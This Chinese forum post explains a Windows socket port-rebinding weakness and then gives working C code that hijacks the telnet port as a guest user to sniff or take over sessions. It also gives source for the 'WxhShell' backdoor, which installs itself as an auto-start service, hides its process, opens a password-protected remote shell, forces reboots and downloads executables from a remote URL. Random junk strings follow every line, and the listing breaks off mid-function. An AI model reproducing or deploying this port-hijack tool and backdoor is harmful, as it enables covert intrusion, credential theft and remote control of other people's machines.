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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: omGzyuPF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MkHkM  
c|(J%@B)  
  saddr.sin_family = AF_INET; ~]#-S20  
^eyVEN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); IN@o9pUjV  
4JU 2x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zoc4@% n  
U?d  I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b`$qKO  
cWG%>.`5r  
  这意味着什么?意味着可以进行如下的攻击: oc]:Ty  
O$;#GpR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zc=G4F01  
Yi,`uJKh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9-V'U\}L  
!h4A7KBYG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =PQ4S2Q  
f^*Yqa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [|YvVA  
|1tpXpe  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZgG~xl\My  
zwU[!i)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]Ml  
+p63J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [U",yN]d  
_k26(rdI@-  
  #include B @QWr;  
  #include :N_]*>  
  #include 49M1^nMvoo  
  #include    S<NK!89  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?T_MP"  
  int main() d{Jk:@.1  
  { 14 ,t  
  WORD wVersionRequested; .#bf9JOE  
  DWORD ret; .MG83Si  
  WSADATA wsaData; +B1&bOb  
  BOOL val; $A9Pi"/*z  
  SOCKADDR_IN saddr; _J!&R:]$  
  SOCKADDR_IN scaddr; &.?E[db"h  
  int err; 2b"DkJj'  
  SOCKET s; u>.a;BO  
  SOCKET sc; 2/r8% Sq  
  int caddsize; \Z3K ~  
  HANDLE mt; (m,H 5  
  DWORD tid;   hXth\e\[{`  
  wVersionRequested = MAKEWORD( 2, 2 ); -*4*hHmb  
  err = WSAStartup( wVersionRequested, &wsaData ); YLQ0UeDN'  
  if ( err != 0 ) { /P@%{y  
  printf("error!WSAStartup failed!\n"); z,ERq,g+L  
  return -1; y)&K9 I  
  } 3~tu\TH6d  
  saddr.sin_family = AF_INET; ,G%UU~/a  
   }R#W<4:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !2.BLJE>  
-grf7w^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U< Xdhgo?  
  saddr.sin_port = htons(23); 7$lnCvm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <C&|8@A0  
  { |mQ Fi\  
  printf("error!socket failed!\n"); |EX=Rj*  
  return -1; &H;,,7u  
  } ]$Z:^" JS3  
  val = TRUE; : gU5CUm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o= ($'(1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `"&Nw,C  
  { I_v}}h{  
  printf("error!setsockopt failed!\n"); Cn3 _D  
  return -1; 9%T"W  
  } zZCRej  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I* C~w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i>YQ<A1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5F~l;zT  
dJ6fPB|k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >[|N%9\  
  { PtbaC6"\  
  ret=GetLastError(); E^F<"mL*  
  printf("error!bind failed!\n");   < v]  
  return -1; :Fb>=e  
  } lJu^Bcrv  
  listen(s,2); xrg?{*\  
  while(1) UrvUt$WO  
  { bJ!\eI%ld  
  caddsize = sizeof(scaddr); f+ceL'fr  
  //接受连接请求 +`Z1L\gmA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zg<-%r'$  
  if(sc!=INVALID_SOCKET) ^)gyKl:E'  
  { 32\.-v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Bxm,?=h  
  if(mt==NULL) XJ4f;U  
  { N2}SR|.  
  printf("Thread Creat Failed!\n"); LOx+?4|y  
  break; +;q\7*  
  } DYr#?} 40  
  } ^r\ rpSN  
  CloseHandle(mt); ;yt6Yp.6e  
  } ;AEfU^[  
  closesocket(s); Q[j| 2U  
  WSACleanup(); "17)`Yf  
  return 0; h4pS~/  
  }   +{I_%SsG  
  DWORD WINAPI ClientThread(LPVOID lpParam) k <oB9J  
  { LW]fme<V?  
  SOCKET ss = (SOCKET)lpParam; `Y?VQ~ci>  
  SOCKET sc; `-L?x2)U  
  unsigned char buf[4096]; ^ F]hW  
  SOCKADDR_IN saddr; .zO2g8(VR  
  long num; a+^` +p/5  
  DWORD val; `$6o*g>:  
  DWORD ret; LlQsc{ Ddf  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;?2)[a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xPm. TPj  
  saddr.sin_family = AF_INET; !wy _3a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R{#< NE  
  saddr.sin_port = htons(23); At(88(y-W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C Bkoky 9&  
  { Nn. 9J  
  printf("error!socket failed!\n"); bBjr hi  
  return -1; <,]:jgX  
  } MgJ6{xzz  
  val = 100; cfLLFPhv)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u;`]U$Qq9  
  { A5XMA|2_  
  ret = GetLastError(); 0WUBj:@g  
  return -1; T`bYidA  
  } jdxHWkQ   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kt6x"'"1  
  { }@r23g%   
  ret = GetLastError(); (g##wa)L  
  return -1; KUI{Z I  
  } 7>Z|K  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nh} Xu~#_  
  { H%wB8Y ]  
  printf("error!socket connect failed!\n"); f@OH~4FG  
  closesocket(sc); w$}q`k'  
  closesocket(ss); ZoG@"vr2  
  return -1; e HphM;C  
  } 9z7_D_yN2  
  while(1) = L!&Z  
  { DSrU7#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 V"/.An|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UUt"8]@[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w 3t,S3!  
  num = recv(ss,buf,4096,0); I5Vn#_q+b  
  if(num>0) @ st>#]i4  
  send(sc,buf,num,0); / ;`H )  
  else if(num==0) 6$`<Y?  
  break; K.Xy:l*z  
  num = recv(sc,buf,4096,0); b fxE}>  
  if(num>0) 72<9xNcB!}  
  send(ss,buf,num,0); W5R/Ub@g  
  else if(num==0) EmNVQ1w  
  break; QiPq N$n  
  } c2E /-n4K@  
  closesocket(ss); X|of87  
  closesocket(sc); Xb _ V\b0  
  return 0 ; km %r{  
  } jD S?p)&  
s9?mX@>h  
 ?8>a;0  
========================================================== TFSdb\g  
#VQZ"7nI@  
下边附上一个代码,,WXhSHELL Rk$7jZdTf  
1iT_mtXK$  
========================================================== 8F sQLeOE  
,ri&zbB  
#include "stdafx.h" ^twyy9VR  
YU,zQ V'  
#include <stdio.h> z g7Q`  
#include <string.h> > X~\(|EM  
#include <windows.h> m$8siF{<q  
#include <winsock2.h> 7K"3[.  
#include <winsvc.h> 4H8r[  
#include <urlmon.h> (:iMs) iO{  
"aGmv9\  
#pragma comment (lib, "Ws2_32.lib") [v1$L p  
#pragma comment (lib, "urlmon.lib") +)c<s3OCE  
!)M}(I}  
#define MAX_USER   100 // 最大客户端连接数 6#=Iv X4  
#define BUF_SOCK   200 // sock buffer M"z=114  
#define KEY_BUFF   255 // 输入 buffer 2CC"Z  
O"\4[HE^  
#define REBOOT     0   // 重启 0akJv^^D  
#define SHUTDOWN   1   // 关机 ekx(i QA  
cS.@02~f"  
#define DEF_PORT   5000 // 监听端口 8@3=SO  
3W'fEh5  
#define REG_LEN     16   // 注册表键长度 ra~=i|s  
#define SVC_LEN     80   // NT服务名长度 :(q4y-o6  
e1[ReZW  
// 从dll定义API FBE|pG7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )CXlPbhY?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {aE[h[=r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WsTIdr36x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SFg4}*"C/  
t[|rp&xG  
// wxhshell配置信息 veDv14  
struct WSCFG { ]ZLF=  
  int ws_port;         // 监听端口 9fp"r,aHN&  
  char ws_passstr[REG_LEN]; // 口令 Gs#9'3_U5  
  int ws_autoins;       // 安装标记, 1=yes 0=no W=Syo&;F8  
  char ws_regname[REG_LEN]; // 注册表键名 tGOJ4 =  
  char ws_svcname[REG_LEN]; // 服务名 mxqZj8VuH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?g1eW q&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^E%R5JN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %@QxU-k_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,DEq"VW_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bfeTf66c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WX Fm'5Vr  
E+y_te^+b  
}; &pK0>2  
g_4%M0&AX  
// default Wxhshell configuration <xBL/e %  
struct WSCFG wscfg={DEF_PORT,  +At [[  
    "xuhuanlingzhe", G=qlE?j`j  
    1, QXj#Brp  
    "Wxhshell", uP4yJ/]  
    "Wxhshell",  LcLHX  
            "WxhShell Service", f)vnm*&-  
    "Wrsky Windows CmdShell Service", [fCnq  
    "Please Input Your Password: ", U ]pE{ ^\w  
  1, t7-r YY(  
  "http://www.wrsky.com/wxhshell.exe", UR'v;V&Cb\  
  "Wxhshell.exe" y ;mk]  
    }; o0AT&<K  
NvzPZ9=@-  
// 消息定义模块 i^WY/ OhL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~F@p}u8TV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wv3*o10_w8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j hRr!  
char *msg_ws_ext="\n\rExit."; S9DXd]6q_  
char *msg_ws_end="\n\rQuit."; = 1veO0  
char *msg_ws_boot="\n\rReboot..."; I_#5gq  
char *msg_ws_poff="\n\rShutdown..."; uPho|hDp  
char *msg_ws_down="\n\rSave to "; 4SUzR\  
!Th5x2  
char *msg_ws_err="\n\rErr!"; I>rTqOK  
char *msg_ws_ok="\n\rOK!"; (k+*0.T&?  
|t"CH'KJZ  
char ExeFile[MAX_PATH]; #P!<u Lc%  
int nUser = 0; 8@ f!,!Wn  
HANDLE handles[MAX_USER]; 9PV]bt,  
int OsIsNt; {1=|H$wKg  
FD!8o  
SERVICE_STATUS       serviceStatus; {tYY _BI<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E el*P M  
Z@Q/P(t  
// 函数声明 .dYv.[?hL  
int Install(void); NHUJ:j@  
int Uninstall(void); nN.Gn+Cl  
int DownloadFile(char *sURL, SOCKET wsh); pC,Z=+:  
int Boot(int flag); ]Vj($O:  
void HideProc(void); k)z>9z%D  
int GetOsVer(void); AEM;ZQU  
int Wxhshell(SOCKET wsl); vr"Pr4z4i  
void TalkWithClient(void *cs); QiA}0q3]0  
int CmdShell(SOCKET sock); ic}TiTK  
int StartFromService(void); #|+4`Gf^  
int StartWxhshell(LPSTR lpCmdLine); t+d7{&B  
f.j<VKF}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^6{op3R_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mb"y{Fox  
,gpEXU p\  
// 数据结构和表定义 AMB{Fssz  
SERVICE_TABLE_ENTRY DispatchTable[] = gT+wn-3  
{ Hr=|xw8.  
{wscfg.ws_svcname, NTServiceMain}, zC:Pg4=w]  
{NULL, NULL} 9BlpqS:P&  
}; UsA fZg8  
6d5J*y2  
// 自我安装 +VQD'  
int Install(void) `z q+Xl  
{ e*`ht+  
  char svExeFile[MAX_PATH]; @J>JZ7m]\  
  HKEY key; 5~UW=   
  strcpy(svExeFile,ExeFile); (#6Fg|f4Y  
V=fh;p  
// 如果是win9x系统,修改注册表设为自启动 `<~=6H  
if(!OsIsNt) { x'?p?u~[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nw9:Gi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }8YY8|]LI  
  RegCloseKey(key); $"( 15U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {A< 961  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tc"J(GWG  
  RegCloseKey(key); 1_!?wMo:f  
  return 0; vw:GNpg'R6  
    } RhB)AUAj  
  } QL7.QG  
} }=\?]9`  
else { o_b3G  
?[.8A/:5  
// 如果是NT以上系统,安装为系统服务 m3o -p   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Mb0++% W  
if (schSCManager!=0) xDl; tFI  
{ - 7T`/6  
  SC_HANDLE schService = CreateService :JX2GRL4  
  ( d^M*%az  
  schSCManager, X=1o$:7  
  wscfg.ws_svcname, ia_@fQ  
  wscfg.ws_svcdisp, <%d!Sk4  
  SERVICE_ALL_ACCESS, &L+.5i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ua:@,};  
  SERVICE_AUTO_START, AWMJ/ E*T  
  SERVICE_ERROR_NORMAL, 4'`P+p"A  
  svExeFile, <FU?^*~  
  NULL, 5rbb ,*  
  NULL, z7sDaZL?_  
  NULL, [[^95:  
  NULL, p[xGL } +\  
  NULL ? _bFe![q  
  ); #\=7A  
  if (schService!=0) vOz1& |;D  
  { _4)z:?G5  
  CloseServiceHandle(schService); /RqWrpzx@  
  CloseServiceHandle(schSCManager); 8TAJ#Lm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R)*DkL!  
  strcat(svExeFile,wscfg.ws_svcname); M!i|,S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OqciZ@#5n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ToPjB vD  
  RegCloseKey(key); y2jw3R  
  return 0; :8oJG8WH  
    } *IWW,@0  
  }  6(-s@{  
  CloseServiceHandle(schSCManager); [(3s5)O  
} m }HaJ  
} $fg@g7_:  
6MY<6t0a  
return 1; :EQ{7Op`  
} 7XyCl&Dc:  
0'Ho'wDb  
// 自我卸载 DZC@^k \E  
int Uninstall(void) }]mx Kz  
{ K6-M.I  
  HKEY key; e*lL.  
r)}U 'iv*%  
if(!OsIsNt) { HBOyiIm Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zM=MFKhi ~  
  RegDeleteValue(key,wscfg.ws_regname); b\`S[  
  RegCloseKey(key); 7>j~;p{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z#H<+S(  
  RegDeleteValue(key,wscfg.ws_regname); ]r|oNGD)G  
  RegCloseKey(key); 3rKJ<(-2/  
  return 0; '-RacNY  
  } gHstdp_3  
} nDC0^&  
} |SjRss:i+  
else { m!%aB{e  
)'U0n`=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m:?"|.]  
if (schSCManager!=0) .nrllVG%`  
{ ,oA<xP-*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @0@ZlH wM  
  if (schService!=0) [#q>Aq$11  
  { + tMf&BZ  
  if(DeleteService(schService)!=0) { }Rw,4  
  CloseServiceHandle(schService); :NF4[c  
  CloseServiceHandle(schSCManager); 87 s*lS  
  return 0; ] c7X~y  
  } n^T,R  
  CloseServiceHandle(schService); .N qXdari  
  } R);Hd1G  
  CloseServiceHandle(schSCManager); , [|aWT%9  
} \]u;NbC]  
} a9.yuSzL  
VWE>w|'  
return 1; )?$[iu7 s  
} 8 XB[CbO  
$QC1l@[sM  
// 从指定url下载文件 ~_D.&-xUF  
int DownloadFile(char *sURL, SOCKET wsh) $mn0I69  
{ y'K2#Y~1e  
  HRESULT hr; ;ItH2Lw<&  
char seps[]= "/"; 1g{Pe`G,  
char *token; C}RO'_Pq  
char *file; Mu? |<#s  
char myURL[MAX_PATH]; hL&$` Q  
char myFILE[MAX_PATH]; aaR& -M@  
;XurH%Mg  
strcpy(myURL,sURL); 4a-JC"  
  token=strtok(myURL,seps); =n5'~1?X?  
  while(token!=NULL) H&)}Z6C"  
  { +P2oQ_Fk`9  
    file=token; !5o j~H  
  token=strtok(NULL,seps); e|\xF V=4  
  } gA!@oiq@  
Wb-C0^dTn  
GetCurrentDirectory(MAX_PATH,myFILE); pd|KIs%jl  
strcat(myFILE, "\\"); Jay"  
strcat(myFILE, file);  yfZNL?2x  
  send(wsh,myFILE,strlen(myFILE),0); "o&8\KSs  
send(wsh,"...",3,0); cs+3&T: ,*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eThaH0  
  if(hr==S_OK) &<PIm  
return 0; P]43FPb  
else V\;Xa0  
return 1; _B0(1(M<2  
\wK&wRn)  
} f"ndLX:'}  
q!ZM Wg  
// 系统电源模块 |58HPW9  
int Boot(int flag) !ZYPz}&N_  
{ .:$(o&  
  HANDLE hToken; 8W\yM;'  
  TOKEN_PRIVILEGES tkp; _}R[mr/  
zt(lV  
  if(OsIsNt) { 6:ettdj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K92j BR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .<"XE7  
    tkp.PrivilegeCount = 1; s?w2^<P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1xB}Ed*k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [eX]x  
if(flag==REBOOT) { rAH!%~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lP F326e  
  return 0; i2,4:M)CV  
} 1RRE{]2v#  
else { Y![Q1D!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XQ#K1Z  
  return 0; 0gd`W{YP  
} vI{aF- #  
  } )}ev;37<C  
  else { >'*%wf[{  
if(flag==REBOOT) { 6 c_#"4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -s3`mc}*  
  return 0; qoO`)<  
} s1:Wrz?4  
else { xyp{_ MZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8xPt1Sotq[  
  return 0; hNN>Pd~;  
} EeW ,-I  
} -S'KxC  
!5`MiH  
return 1; .-d'*$ yJ  
} xXe3E&  
mZ+!8$1X  
// win9x进程隐藏模块 @ ^{`!>Vt  
void HideProc(void) Xs0)4U  
{ mUBy*.  
2q~ .,vpP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \SWTP1  
  if ( hKernel != NULL ) *uc/| c  
  {  IO\l8G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^A$=6=CX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e\%,\ uV}  
    FreeLibrary(hKernel); VOEV[?>ss  
  } 4p:d#,?r  
Bs"D<r&ro  
return; m2PUU/8B/  
} uo#1^`P  
J(7#yg%5  
// 获取操作系统版本 !oWB5x~:P  
int GetOsVer(void) daE.y_9y  
{ ;b<w'A_1  
  OSVERSIONINFO winfo; '`>%RZ]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cQ8[XNa  
  GetVersionEx(&winfo); ~gDYb#p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F.[%0b E  
  return 1; W$4$%r8  
  else Coi[cfg0  
  return 0; 0<,{poMM  
} mTZ/C#ir(  
6TP /0o)  
// 客户端句柄模块 O$*lPA[  
int Wxhshell(SOCKET wsl) h^Wb<O`S  
{ zI`I Q  
  SOCKET wsh; [:8\F#KW  
  struct sockaddr_in client; 19E(Hsz  
  DWORD myID; ^O07GYF  
r,6~%T0  
  while(nUser<MAX_USER) >mb}~wx`  
{ F&d!fEHU  
  int nSize=sizeof(client); U=Ps#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .j]tzX  
  if(wsh==INVALID_SOCKET) return 1; j4$nr=d.6  
PLCm\Oh$l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gRLt0&Q~  
if(handles[nUser]==0) qM\ 2f<)  
  closesocket(wsh); ^^a6 (b  
else .5|[gBK  
  nUser++; >?$2`I  
  } sscbf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5YY5t^T  
:""HyjY!  
  return 0; 'RjEdLrI  
} Lq(=0U\"P  
wvv+~K9jq  
// 关闭 socket Z"`w>c.  
void CloseIt(SOCKET wsh) )lG}B U.  
{ UG2+Y']  
closesocket(wsh); Z/Rp?Jz\j/  
nUser--; DbMVbgz<e  
ExitThread(0); V]H(;+^P  
} .?Eb{W)^br  
ynI e4b  
// 客户端请求句柄 ]A5F}wV4  
void TalkWithClient(void *cs) ha :l-<a  
{ 8E%LhA.  
(?z?/4>7<  
  SOCKET wsh=(SOCKET)cs; @%4'2b  
  char pwd[SVC_LEN]; +Mo4g2W  
  char cmd[KEY_BUFF]; S;~eI8gQ"  
char chr[1]; 4Mt3<W5  
int i,j; R@c])\^]  
)OI}IWDl  
  while (nUser < MAX_USER) { kckRHbeU  
,GSiSn  
if(wscfg.ws_passstr) { 1Lb)S@Q`*R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <LbLMV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &~:EmLgv  
  //ZeroMemory(pwd,KEY_BUFF); de:@/-|  
      i=0; f"Sp.'@  
  while(i<SVC_LEN) { 0#V"   
be+-p  
  // 设置超时 6#z8 %k aX  
  fd_set FdRead; 6 H|SiO9  
  struct timeval TimeOut; v "l).G?  
  FD_ZERO(&FdRead); u?,>yf.;s  
  FD_SET(wsh,&FdRead); X!KX4H  
  TimeOut.tv_sec=8; Cl0kR3Y  
  TimeOut.tv_usec=0; v5[gFY(?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Vn#}f=u\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ed=/w6<  
+hRy{Ps/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  2E*=EjGV  
  pwd=chr[0]; tA(oD4H9  
  if(chr[0]==0xd || chr[0]==0xa) { 8"h;+;  
  pwd=0; @76}d  
  break; E@ea ?Sx  
  } #2]*qgA4  
  i++; A/y|pg5  
    } c=v016r\  
$}/tlA&e  
  // 如果是非法用户,关闭 socket 7Z>vQf B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >CvhTrPI  
} byM%D$R  
 P^te  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f ,e]jw@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vHi%UaD-y  
] (e ,J  
while(1) { utck{]P  
tA1?8`bQ  
  ZeroMemory(cmd,KEY_BUFF); bB<S4@jF8z  
6,q0F*q  
      // 自动支持客户端 telnet标准   \&F4Wl>`  
  j=0; +$C9@CZM9  
  while(j<KEY_BUFF) { %R GZu\p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =z. hJu  
  cmd[j]=chr[0]; aE0R{yupZ  
  if(chr[0]==0xa || chr[0]==0xd) { m* 3ipI{h  
  cmd[j]=0; ? dJd7+A  
  break; %bw+>:Tr  
  } g4+K"Q /M  
  j++; An_(L*Qz  
    } `:&RB4Z  
N8 2 6xvA  
  // 下载文件 lf"w/pb'  
  if(strstr(cmd,"http://")) { EjfQF C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EV6R[2kl  
  if(DownloadFile(cmd,wsh)) b ri[&=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i*$+>3Q-  
  else &4OOW;,?<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L } R"1O  
  } GvtK=A$b  
  else { pCt2 -aam  
i ;B^I8  
    switch(cmd[0]) { 5WI bnV@  
  d>[i*u,]/  
  // 帮助 b36{vcs~  
  case '?': { 2)IM<rf'^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #?)6^uTW  
    break; j \r GU){  
  } b_sasZo  
  // 安装 SY Bp-o  
  case 'i': { t,YRM$P  
    if(Install()) 6aB]&WO1@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &0kr[Ik.  
    else 7c\W&ZEmb-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A.*e8a/6X  
    break; Rxdj}xy  
    } g=mKTk   
  // 卸载 4}C \N  
  case 'r': { L9)gN.#  
    if(Uninstall()) y],op G6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "6C a{n1hk  
    else q:kGJ xfaW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r(S h  
    break; $'l<2h>4  
    } ?Tc|3U  
  // 显示 wxhshell 所在路径 G^{~'TZv%  
  case 'p': { "d<uc j  
    char svExeFile[MAX_PATH]; 6"iNh)  
    strcpy(svExeFile,"\n\r"); #pZeGI|'J  
      strcat(svExeFile,ExeFile); _1)n_P4  
        send(wsh,svExeFile,strlen(svExeFile),0); A@o7  
    break; .4]XR/I$  
    } A$p&<#  
  // 重启 z#G\D5yX[*  
  case 'b': { ~ AD>@;8fG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y nnK]N;\x  
    if(Boot(REBOOT)) ;40Z/#FI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\5w@nX  
    else { c) Eu(j\#  
    closesocket(wsh); 8(j]=n6 r  
    ExitThread(0); :.=:N%3[  
    } y9mV6.r  
    break; @~vg=(ic(  
    } R:n|1]*f3X  
  // 关机 ([<{RjPb  
  case 'd': { W?SAa7+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I;}U/'RR>  
